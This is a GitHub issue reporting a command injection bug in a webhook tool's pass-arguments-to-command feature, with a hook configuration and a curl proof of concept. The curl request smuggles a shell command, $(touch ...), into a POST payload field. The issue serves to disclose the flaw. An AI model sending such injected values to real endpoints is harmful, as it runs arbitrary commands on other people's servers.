Skip to content

Command injection vulnerability #692

@svandezande

Description

@svandezande

When using pass-arguments-to-command you can inject arbitrary commands into the payload and they will be executed.

Hook definition:

- id: my_hook
  execute-command: "/my_script.sh"
  http-methods:
    - POST
  pass-arguments-to-command:
    - source: payload
      name: prefix
curl -d "prefix=dummy$(touch ~/my_test_file)" -X POST http://localhost:9000/hooks/my_hook

Running this curl command causes ~/my_test_file to be created.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions